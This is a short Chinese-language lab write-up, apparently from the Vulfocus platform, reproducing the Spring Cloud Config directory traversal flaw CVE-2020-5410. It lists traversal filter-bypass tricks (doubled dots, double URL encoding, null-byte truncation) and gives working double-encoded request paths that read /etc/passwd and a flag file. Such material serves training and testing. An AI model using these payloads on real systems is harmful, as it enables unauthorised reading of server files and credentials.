【漏洞复现-spring-目录遍历】vulfocus/spring-cve_2020_5410
目录
一、靶场环境
1.1、平台：
1.2、知识：
1.3、描述：
二、漏洞验证
2.1、分析：
一、靶场环境
1.1、平台：
Vulfocus 漏洞威胁分析平台
123.58.224.8:43117
123.58.224.8:20746
1.2、知识：
1、跳目录
../上一级
（有时候可能需要考虑绕过过滤）
单次过滤：....//
正则匹配斜杠：..%252f(双重URL编码，因为浏览器会解码一次)
起始路径匹配：起始路径+相对路径结合绕过
后缀检测：空字节绕过（%00截断）../etc/passwd%00.png
……
1.3、描述：
Spring Cloud Config，2.2.3之前的2.2.x版本，2.1.9之前的2.1.x版本以及较旧的不受支持的版本允许应用程序通过spring-cloud-config-server模块提供任意配置文件。恶意用户或攻击者可以使用特制URL发送请求，这可能导致目录遍历攻击。
二、漏洞验证
2.1、分析：
对/进行了2次URL编码
/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fpasswd%23foo/development
读取flag文件
/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Ftmp%23foo/development
